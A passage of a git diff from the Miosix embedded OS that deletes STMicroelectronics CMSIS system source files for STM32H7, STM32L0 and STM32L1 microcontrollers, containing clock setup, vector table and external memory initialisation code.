specific chip is #defined in -//arch_registers_impl.h -#include "interfaces/arch_registers.h" - -#if !defined (HSE_VALUE) -#define HSE_VALUE ((uint32_t)25000000) /*!< Value of the External oscillator in Hz */ -#endif /* HSE_VALUE */ - -#if !defined (CSI_VALUE) - #define CSI_VALUE ((uint32_t)4000000) /*!< Value of the Internal oscillator in Hz*/ -#endif /* CSI_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE ((uint32_t)64000000) /*!< Value of the Internal oscillator in Hz*/ -#endif /* HSI_VALUE */ - - -/** - * @} - */ - -/** @addtogroup STM32H7xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32H7xx_System_Private_Defines - * @{ - */ - -/************************* Miscellaneous Configuration ************************/ -/*!< Uncomment the following line if you need to use external SRAM or SDRAM mounted - on EVAL board as data memory */ -/*#define DATA_IN_ExtSRAM */ -/*#define DATA_IN_ExtSDRAM*/ - -#if defined(DATA_IN_ExtSRAM) && defined(DATA_IN_ExtSDRAM) - #error "Please select DATA_IN_ExtSRAM or DATA_IN_ExtSDRAM " -#endif /* DATA_IN_ExtSRAM && DATA_IN_ExtSDRAM */ - -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -/******************************************************************************/ - -/** - * @} - */ - -/** @addtogroup STM32H7xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32H7xx_System_Private_Variables - * @{ - */ - /* This variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ -//By TFT: we increase the clock BEFORE initializing .data and .bss! -#ifdef SYSCLK_FREQ_400MHz -uint32_t SystemCoreClock = 400000000; -#elif SYSCLK_FREQ_550MHz -uint32_t SystemCoreClock = 550000000; -#else -#error No clock defined -#endif -// uint32_t SystemCoreClock = 64000000; - uint32_t SystemD2Clock = 64000000; - const uint8_t D1CorePrescTable[16] = {0, 0, 0, 0, 1, 2, 3, 4, 1, 2, 3, 4, 6, 7, 8, 9}; - -/** - * @} - */ - -/** @addtogroup STM32H7xx_System_Private_FunctionPrototypes - * @{ - */ -#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) - static void SystemInit_ExtMemCtl(void); -#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ - -/** - * @} - */ - -/** @addtogroup STM32H7xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * Initialize the FPU setting, vector table location and External memory - * configuration. - * @param None - * @retval None - */ -void SystemInit (void) -{ - /* FPU settings ------------------------------------------------------------*/ - #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) - SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ - #else - #error "FPU disabled!" //By TFT: added a check to be really sure the FPU is on - #endif - /* Reset the RCC clock configuration to the default reset state ------------*/ - /* Set HSION bit */ - RCC->CR |= RCC_CR_HSION; - - /* Reset CFGR register */ - RCC->CFGR = 0x00000000; - - /* Reset HSEON, CSSON , CSION,RC48ON, CSIKERON PLL1ON, PLL2ON and PLL3ON bits */ - RCC->CR &= (uint32_t)0xEAF6ED7F; - - /* Reset D1CFGR register */ - RCC->D1CFGR = 0x00000000; - - /* Reset D2CFGR register */ - RCC->D2CFGR = 0x00000000; - - /* Reset D3CFGR register */ - RCC->D3CFGR = 0x00000000; - - /* Reset PLLCKSELR register */ - RCC->PLLCKSELR = 0x00000000; - - /* Reset PLLCFGR register */ - RCC->PLLCFGR = 0x00000000; - /* Reset PLL1DIVR register */ - RCC->PLL1DIVR = 0x00000000; - /* Reset PLL1FRACR register */ - RCC->PLL1FRACR = 0x00000000; - - /* Reset PLL2DIVR register */ - RCC->PLL2DIVR = 0x00000000; - - /* Reset PLL2FRACR register */ - - RCC->PLL2FRACR = 0x00000000; - /* Reset PLL3DIVR register */ - RCC->PLL3DIVR = 0x00000000; - - /* Reset PLL3FRACR register */ - RCC->PLL3FRACR = 0x00000000; - - /* Reset HSEBYP bit */ - RCC->CR &= (uint32_t)0xFFFBFFFF; - - /* Disable all interrupts */ - RCC->CIER = 0x00000000; - - /* Change the switch matrix read issuing capability to 1 for the AXI SRAM target (Target 7) */ - *((__IO uint32_t*)0x51008108) = 0x00000001; - -#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) - SystemInit_ExtMemCtl(); -#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ - - /* Configure the Vector Table location add offset address ------------------*/ -#ifdef VECT_TAB_SRAM - SCB->VTOR = D1_AXISRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal ITCMSRAM */ -#else - SCB->VTOR = FLASH_BANK1_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ -#endif - -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock , it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is CSI, SystemCoreClock will contain the CSI_VALUE(*) - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(**) - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(***) - * - If SYSCLK source is PLL, SystemCoreClock will contain the CSI_VALUE(*), - * HSI_VALUE(**) or HSE_VALUE(***) multiplied/divided by the PLL factors. - * - * (*) CSI_VALUE is a constant defined in stm32h7xx_hal.h file (default value - * 4 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * (**) HSI_VALUE is a constant defined in stm32h7xx_hal.h file (default value - * 64 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (***)HSE_VALUE is a constant defined in stm32h7xx_hal.h file (default value - * 25 MHz), user has to ensure that HSE_VALUE is same as the real - * frequency of the crystal used. Otherwise, this function may - * have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * @param None - * @retval None - */ -void SystemCoreClockUpdate (void) -{ -uint32_t pllp = 2, pllsource = 0, pllm = 2 ,tmp, pllfracen =0 , hsivalue = 0; -float fracn1, pllvco = 0 ; - - /* Get SYSCLK source -------------------------------------------------------*/ - - switch (RCC->CFGR & RCC_CFGR_SWS) - { - case 0x00: /* HSI used as system clock source */ - SystemCoreClock = (uint32_t) (HSI_VALUE >> ((RCC->CR & RCC_CR_HSIDIV)>> 3)); - break; - - case 0x08: /* CSI used as system clock source */ - SystemCoreClock = CSI_VALUE; - break; - - case 0x10: /* HSE used as system clock source */ - SystemCoreClock = HSE_VALUE; - break; - - case 0x18: /* PLL1 used as system clock source */ - - /* PLL_VCO = (HSE_VALUE or HSI_VALUE or CSI_VALUE/ PLLM) * PLLN - SYSCLK = PLL_VCO / PLLR - */ - pllsource = (RCC->PLLCKSELR & RCC_PLLCKSELR_PLLSRC); - pllm = ((RCC->PLLCKSELR & RCC_PLLCKSELR_DIVM1)>> 4) ; - pllfracen = RCC->PLLCFGR & RCC_PLLCFGR_PLL1FRACEN; - fracn1 = (pllfracen* ((RCC->PLL1FRACR & RCC_PLL1FRACR_FRACN1)>> 3)); - switch (pllsource) - { - - case 0x00: /* HSI used as PLL clock source */ - hsivalue = (HSI_VALUE >> ((RCC->CR & RCC_CR_HSIDIV)>> 3)) ; - pllvco = (hsivalue/ pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); - break; - - case 0x01: /* CSI used as PLL clock source */ - pllvco = (CSI_VALUE / pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); - break; - - case 0x02: /* HSE used as PLL clock source */ - pllvco = (HSE_VALUE / pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); - break; - - default: - pllvco = (CSI_VALUE / pllm) * ((RCC->PLL1DIVR & RCC_PLL1DIVR_N1) + (fracn1/0x2000) +1 ); - break; - } - pllp = (((RCC->PLL1DIVR & RCC_PLL1DIVR_P1) >>9) + 1 ) ; - SystemCoreClock = (uint32_t) (pllvco/pllp); - break; - - default: - SystemCoreClock = CSI_VALUE; - break; - } - - /* Compute HCLK frequency --------------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = D1CorePrescTable[(RCC->D1CFGR & RCC_D1CFGR_D1CPRE)>> POSITION_VAL(RCC_D1CFGR_D1CPRE_0)]; - /* HCLK frequency */ - SystemCoreClock >>= tmp; -} -#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) -/** - * @brief Setup the external memory controller. - * Called in startup_stm32h7xx.s before jump to main. - * This function configures the external memories (SRAM/SDRAM) - * This SRAM/SDRAM will be used as program data memory (including heap and stack). - * @param None - * @retval None - */ -void SystemInit_ExtMemCtl(void) -{ -#if defined (DATA_IN_ExtSDRAM) - register uint32_t tmpreg = 0, timeout = 0xFFFF; - register __IO uint32_t index; - - /* Enable GPIOD, GPIOE, GPIOF, GPIOG, GPIOH and GPIOI interface - clock */ - RCC->AHB4ENR |= 0x000001F8; - /* Connect PDx pins to FMC Alternate function */ - GPIOD->AFR[0] = 0x000000CC; - GPIOD->AFR[1] = 0xCC000CCC; - /* Configure PDx pins in Alternate function mode */ - GPIOD->MODER = 0xAFEAFFFA; - /* Configure PDx pins speed to 50 MHz */ - GPIOD->OSPEEDR = 0xA02A000A; - /* Configure PDx pins Output type to push-pull */ - GPIOD->OTYPER = 0x00000000; - /* No pull-up, pull-down for PDx pins */ - GPIOD->PUPDR = 0x55555505; - /* Connect PEx pins to FMC Alternate function */ - GPIOE->AFR[0] = 0xC00000CC; - GPIOE->AFR[1] = 0xCCCCCCCC; - /* Configure PEx pins in Alternate function mode */ - GPIOE->MODER = 0xAAAABFFA; - /* Configure PEx pins speed to 50 MHz */ - GPIOE->OSPEEDR = 0xAAAA800A; - /* Configure PEx pins Output type to push-pull */ - GPIOE->OTYPER = 0x00000000; - /* No pull-up, pull-down for PEx pins */ - GPIOE->PUPDR = 0x55554005; - /* Connect PFx pins to FMC Alternate function */ - GPIOF->AFR[0] = 0x00CCCCCC; - GPIOF->AFR[1] = 0xCCCCC000; - /* Configure PFx pins in Alternate function mode */ - GPIOF->MODER = 0xAABFFAAA; - /* Configure PFx pins speed to 50 MHz */ - GPIOF->OSPEEDR = 0xAA800AAA; - /* Configure PFx pins Output type to push-pull */ - GPIOF->OTYPER = 0x00000000; - /* No pull-up, pull-down for PFx pins */ - GPIOF->PUPDR = 0x55400555; - /* Connect PGx pins to FMC Alternate function */ - GPIOG->AFR[0] = 0x00CCCCCC; - GPIOG->AFR[1] = 0xC000000C; - /* Configure PGx pins in Alternate function mode */ - GPIOG->MODER = 0xBFFEFAAA; - /* Configure PGx pins speed to 50 MHz */ - GPIOG->OSPEEDR = 0x80020AAA; - /* Configure PGx pins Output type to push-pull */ - GPIOG->OTYPER = 0x00000000; - /* No pull-up, pull-down for PGx pins */ - GPIOG->PUPDR = 0x40010515; - /* Connect PHx pins to FMC Alternate function */ - GPIOH->AFR[0] = 0xCCC00000; - GPIOH->AFR[1] = 0xCCCCCCCC; - /* Configure PHx pins in Alternate function mode */ - GPIOH->MODER = 0xAAAAABFF; - /* Configure PHx pins speed to 50 MHz */ - GPIOH->OSPEEDR = 0xAAAAA800; - /* Configure PHx pins Output type to push-pull */ - GPIOH->OTYPER = 0x00000000; - /* No pull-up, pull-down for PHx pins */ - GPIOH->PUPDR = 0x55555400; - /* Connect PIx pins to FMC Alternate function */ - GPIOI->AFR[0] = 0xCCCCCCCC; - GPIOI->AFR[1] = 0x00000CC0; - /* Configure PIx pins in Alternate function mode */ - GPIOI->MODER = 0xFFEBAAAA; - /* Configure PIx pins speed to 50 MHz */ - GPIOI->OSPEEDR = 0x0028AAAA; - /* Configure PIx pins Output type to push-pull */ - GPIOI->OTYPER = 0x00000000; - /* No pull-up, pull-down for PIx pins */ - GPIOI->PUPDR = 0x00145555; -/*-- FMC Configuration ------------------------------------------------------*/ - /* Enable the FMC interface clock */ - (RCC->AHB3ENR |= (RCC_AHB3ENR_FMCEN)); - /*SDRAM Timing and access interface configuration*/ - /*LoadToActiveDelay = 2 - ExitSelfRefreshDelay = 6 - SelfRefreshTime = 4 - RowCycleDelay = 6 - WriteRecoveryTime = 2 - RPDelay = 2 - RCDDelay = 2 - SDBank = FMC_SDRAM_BANK2 - ColumnBitsNumber = FMC_SDRAM_COLUMN_BITS_NUM_9 - RowBitsNumber = FMC_SDRAM_ROW_BITS_NUM_12 - MemoryDataWidth = FMC_SDRAM_MEM_BUS_WIDTH_32 - InternalBankNumber = FMC_SDRAM_INTERN_BANKS_NUM_4 - CASLatency = FMC_SDRAM_CAS_LATENCY_2 - WriteProtection = FMC_SDRAM_WRITE_PROTECTION_DISABLE - SDClockPeriod = FMC_SDRAM_CLOCK_PERIOD_2 - ReadBurst = FMC_SDRAM_RBURST_ENABLE - ReadPipeDelay = FMC_SDRAM_RPIPE_DELAY_0*/ - - FMC_Bank5_6->SDCR[0] = 0x00001800; - FMC_Bank5_6->SDCR[1] = 0x00000165; - FMC_Bank5_6->SDTR[0] = 0x00105000; - FMC_Bank5_6->SDTR[1] = 0x01010351; - - /* SDRAM initialization sequence */ - /* Clock enable command */ - FMC_Bank5_6->SDCMR = 0x00000009; - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - /* Delay */ - for (index = 0; index<1000; index++); - - /* PALL command */ - FMC_Bank5_6->SDCMR = 0x0000000A; - timeout = 0xFFFF; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - FMC_Bank5_6->SDCMR = 0x000000EB; - timeout = 0xFFFF; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - FMC_Bank5_6->SDCMR = 0x0004400C; - timeout = 0xFFFF; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - /* Set refresh count */ - tmpreg = FMC_Bank5_6->SDRTR; - FMC_Bank5_6->SDRTR = (tmpreg | (0x00000603<<1)); - - /* Disable write protection */ - tmpreg = FMC_Bank5_6->SDCR[1]; - FMC_Bank5_6->SDCR[1] = (tmpreg & 0xFFFFFDFF); - - /*FMC controller Enable*/ - FMC_Bank1->BTCR[0] |= 0x80000000; - - -#endif /* DATA_IN_ExtSDRAM */ - -#if defined(DATA_IN_ExtSRAM) -/*-- GPIOs Configuration -----------------------------------------------------*/ - /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ - RCC->AHB4ENR |= 0x00000078; - - /* Connect PDx pins to FMC Alternate function */ - GPIOD->AFR[0] = 0x00CCC0CC; - GPIOD->AFR[1] = 0xCCCCCCCC; - /* Configure PDx pins in Alternate function mode */ - GPIOD->MODER = 0xAAAA0A8A; - /* Configure PDx pins speed to 100 MHz */ - GPIOD->OSPEEDR = 0xFFFF0FCF; - /* Configure PDx pins Output type to push-pull */ - GPIOD->OTYPER = 0x00000000; - /* No pull-up, pull-down for PDx pins */ - GPIOD->PUPDR = 0x55550545; - - /* Connect PEx pins to FMC Alternate function */ - GPIOE->AFR[0] = 0xC00CC0CC; - GPIOE->AFR[1] = 0xCCCCCCCC; - /* Configure PEx pins in Alternate function mode */ - GPIOE->MODER = 0xAAAA828A; - /* Configure PEx pins speed to 100 MHz */ - GPIOE->OSPEEDR = 0xFFFFC3CF; - /* Configure PEx pins Output type to push-pull */ - GPIOE->OTYPER = 0x00000000; - /* No pull-up, pull-down for PEx pins */ - GPIOE->PUPDR = 0x55554145; - - /* Connect PFx pins to FMC Alternate function */ - GPIOF->AFR[0] = 0x00CCCCCC; - GPIOF->AFR[1] = 0xCCCC0000; - /* Configure PFx pins in Alternate function mode */ - GPIOF->MODER = 0xAA000AAA; - /* Configure PFx pins speed to 100 MHz */ - GPIOF->OSPEEDR = 0xFF000FFF; - /* Configure PFx pins Output type to push-pull */ - GPIOF->OTYPER = 0x00000000; - /* No pull-up, pull-down for PFx pins */ - GPIOF->PUPDR = 0x55000555; - - /* Connect PGx pins to FMC Alternate function */ - GPIOG->AFR[0] = 0x00CCCCCC; - GPIOG->AFR[1] = 0x000000C0; - /* Configure PGx pins in Alternate function mode */ - GPIOG->MODER = 0x00200AAA; - /* Configure PGx pins speed to 100 MHz */ - GPIOG->OSPEEDR = 0x00300FFF; - /* Configure PGx pins Output type to push-pull */ - GPIOG->OTYPER = 0x00000000; - /* No pull-up, pull-down for PGx pins */ - GPIOG->PUPDR = 0x00100555; - -/*-- FMC/FSMC Configuration --------------------------------------------------*/ - /* Enable the FMC/FSMC interface clock */ - (RCC->AHB3ENR |= (RCC_AHB3ENR_FMCEN)); - - /* Configure and enable Bank1_SRAM2 */ - FMC_Bank1->BTCR[4] = 0x00001091; - FMC_Bank1->BTCR[5] = 0x00110212; - FMC_Bank1E->BWTR[4] = 0x0FFFFFFF; - - /*FMC controller Enable*/ - FMC_Bank1->BTCR[0] |= 0x80000000; - - -#endif /* DATA_IN_ExtSRAM */ -} -#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ - - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.c deleted file mode 100755 index 8ee44dd63..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.c +++ /dev/null @@ -1,275 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32l0xx.c - * @author MCD Application Team - * @brief CMSIS Cortex-M0+ Device Peripheral Access Layer System Source File. - * - * This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32l0xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * - ****************************************************************************** - * @attention - * - * Copyright (c) 2016 STMicroelectronics. - * All rights reserved. - * - * This software is licensed under terms that can be found in the LICENSE file - * in the root directory of this software component. - * If no LICENSE file comes with this software, it is provided AS-IS. - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32l0xx_system - * @{ - */ - -/** @addtogroup STM32L0xx_System_Private_Includes - * @{ - */ - -// Miosix: was #include "stm32l7xx.h", but the specific chip is #defined in -// arch_registers_impl.h -#include "interfaces/arch_registers.h" - -#if !defined (HSE_VALUE) - #define HSE_VALUE ((uint32_t)8000000U) /*!< Value of the External oscillator in Hz */ -#endif /* HSE_VALUE */ - -#if !defined (MSI_VALUE) - #define MSI_VALUE ((uint32_t)2097152U) /*!< Value of the Internal oscillator in Hz*/ -#endif /* MSI_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE ((uint32_t)16000000U) /*!< Value of the Internal oscillator in Hz*/ -#endif /* HSI_VALUE */ - - -/** - * @} - */ - -/** @addtogroup STM32L0xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L0xx_System_Private_Defines - * @{ - */ -/************************* Miscellaneous Configuration ************************/ - -/* Note: Following vector table addresses must be defined in line with linker - configuration. */ -/*!< Uncomment the following line if you need to relocate the vector table - anywhere in Flash or Sram, else the vector table is kept at the automatic - remap of boot address selected */ -/* #define USER_VECT_TAB_ADDRESS */ - -#if defined(USER_VECT_TAB_ADDRESS) -/*!< Uncomment the following line if you need to relocate your vector Table - in Sram else user remap will be done in Flash. */ -/* #define VECT_TAB_SRAM */ -#if defined(VECT_TAB_SRAM) -#define VECT_TAB_BASE_ADDRESS SRAM_BASE /*!< Vector Table base address field. - This value must be a multiple of 0x200. */ -#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -#else -#define VECT_TAB_BASE_ADDRESS FLASH_BASE /*!< Vector Table base address field. - This value must be a multiple of 0x200. */ -#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -#endif /* VECT_TAB_SRAM */ -#endif /* USER_VECT_TAB_ADDRESS */ - -/******************************************************************************/ -/** - * @} - */ - -/** @addtogroup STM32L0xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L0xx_System_Private_Variables - * @{ - */ - /* This variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ - uint32_t SystemCoreClock = 2097152U; /* 32.768 kHz * 2^6 */ - const uint8_t AHBPrescTable[16] = {0U, 0U, 0U, 0U, 0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U, 6U, 7U, 8U, 9U}; - const uint8_t APBPrescTable[8] = {0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U}; - const uint8_t PLLMulTable[9] = {3U, 4U, 6U, 8U, 12U, 16U, 24U, 32U, 48U}; - -/** - * @} - */ - -/** @addtogroup STM32L0xx_System_Private_FunctionPrototypes - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L0xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system. - * @param None - * @retval None - */ -void SystemInit (void) -{ - /* Configure the Vector Table location add offset address ------------------*/ -#if defined (USER_VECT_TAB_ADDRESS) - SCB->VTOR = VECT_TAB_BASE_ADDRESS | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ -#endif /* USER_VECT_TAB_ADDRESS */ -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is MSI, SystemCoreClock will contain the MSI - * value as defined by the MSI range. - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32l0xx_hal.h file (default value - * 16 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32l0xx_hal.h file (default value - * 8 MHz), user has to ensure that HSE_VALUE is same as the real - * frequency of the crystal used. Otherwise, this function may - * have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * @param None - * @retval None - */ -void SystemCoreClockUpdate (void) -{ - uint32_t tmp = 0U, pllmul = 0U, plldiv = 0U, pllsource = 0U, msirange = 0U; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case 0x00U: /* MSI used as system clock */ - msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE) >> RCC_ICSCR_MSIRANGE_Pos; - SystemCoreClock = (32768U * (1U << (msirange + 1U))); - break; - case 0x04U: /* HSI used as system clock */ - if ((RCC->CR & RCC_CR_HSIDIVF) != 0U) - { - SystemCoreClock = HSI_VALUE / 4U; - } - else - { - SystemCoreClock = HSI_VALUE; - } - break; - case 0x08U: /* HSE used as system clock */ - SystemCoreClock = HSE_VALUE; - break; - default: /* PLL used as system clock */ - /* Get PLL clock source and multiplication factor ----------------------*/ - pllmul = RCC->CFGR & RCC_CFGR_PLLMUL; - plldiv = RCC->CFGR & RCC_CFGR_PLLDIV; - pllmul = PLLMulTable[(pllmul >> RCC_CFGR_PLLMUL_Pos)]; - plldiv = (plldiv >> RCC_CFGR_PLLDIV_Pos) + 1U; - - pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; - - if (pllsource == 0x00U) - { - /* HSI oscillator clock selected as PLL clock entry */ - if ((RCC->CR & RCC_CR_HSIDIVF) != 0U) - { - SystemCoreClock = (((HSI_VALUE / 4U) * pllmul) / plldiv); - } - else - { - SystemCoreClock = (((HSI_VALUE) * pllmul) / plldiv); - } - } - else - { - /* HSE selected as PLL clock entry */ - SystemCoreClock = (((HSE_VALUE) * pllmul) / plldiv); - } - break; - } - /* Compute HCLK clock frequency --------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> RCC_CFGR_HPRE_Pos)]; - /* HCLK clock frequency */ - SystemCoreClock >>= tmp; -} - - - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ - diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Source/Templates/system_stm32l1xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Source/Templates/system_stm32l1xx.c deleted file mode 100644 index 99ea7b846..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32L1xx/Source/Templates/system_stm32l1xx.c +++ /dev/null @@ -1,592 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32l1xx.c - * @author MCD Application Team - * @version V1.2.0 - * @date 22-February-2013 - * @brief CMSIS Cortex-M3 Device Peripheral Access Layer System Source File. - * This file contains the system clock configuration for STM32L1xx Ultra - * Low Power devices, and is generated by the clock configuration - * tool "STM32L1xx_Clock_Configuration_V1.1.0.xls". - * - * 1. This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): Setups the system clock (System clock source, PLL Multiplier - * and Divider factors, AHB/APBx prescalers and Flash settings), - * depending on the configuration made in the clock xls tool. - * This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32l1xx_xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * 2. After each device reset the MSI (2.1 MHz Range) is used as system clock source. - * Then SystemInit() function is called, in "startup_stm32l1xx_xx.s" file, to - * configure the system clock before to branch to main program. - * - * 3. If the system clock source selected by user fails to startup, the SystemInit() - * function will do nothing and MSI still used as system clock source. User can - * add some code to deal with this issue inside the SetSysClock() function. - * - * 4. The default value of HSE crystal is set to 8MHz, refer to "HSE_VALUE" define - * in "stm32l1xx.h" file. When HSE is used as system clock source, directly or - * through PLL, and you are using different crystal you have to adapt the HSE - * value to your own configuration. - * - * 5. This file configures the system clock as follows: - *============================================================================= - * System Clock Configuration - *============================================================================= - * System Clock source | PLL(HSE) - *----------------------------------------------------------------------------- - * SYSCLK | 32000000 Hz - *----------------------------------------------------------------------------- - * HCLK | 32000000 Hz - *----------------------------------------------------------------------------- - * AHB Prescaler | 1 - *----------------------------------------------------------------------------- - * APB1 Prescaler | 1 - *----------------------------------------------------------------------------- - * APB2 Prescaler | 1 - *----------------------------------------------------------------------------- - * HSE Frequency | 8000000 Hz - *----------------------------------------------------------------------------- - * PLL DIV | 3 - *----------------------------------------------------------------------------- - * PLL MUL | 12 - *----------------------------------------------------------------------------- - * VDD | 3.3 V - *----------------------------------------------------------------------------- - * Vcore | 1.8 V (Range 1) - *----------------------------------------------------------------------------- - * Flash Latency | 1 WS - *----------------------------------------------------------------------------- - * SDIO clock (SDIOCLK) | 48000000 Hz - *----------------------------------------------------------------------------- - * Require 48MHz for USB clock | Disabled - *----------------------------------------------------------------------------- - *============================================================================= - ****************************************************************************** - * @attention - * - *

© COPYRIGHT 2013 STMicroelectronics

- * - * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); - * You may not use this file except in compliance with the License. - * You may obtain a copy of the License at: - * - * http://www.st.com/software_license_agreement_liberty_v2 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32l1xx_system - * @{ - */ - -/** @addtogroup STM32L1xx_System_Private_Includes - * @{ - */ - -//By TFT: was #include "stm32l1xx.h" -#include "interfaces/arch_registers.h" - -/** - * @} - */ - -/** @addtogroup STM32L1xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L1xx_System_Private_Defines - * @{ - */ - -/*!< Uncomment the following line if you need to use external SRAM mounted - on STM32L152D_EVAL board as data memory */ -/* #define 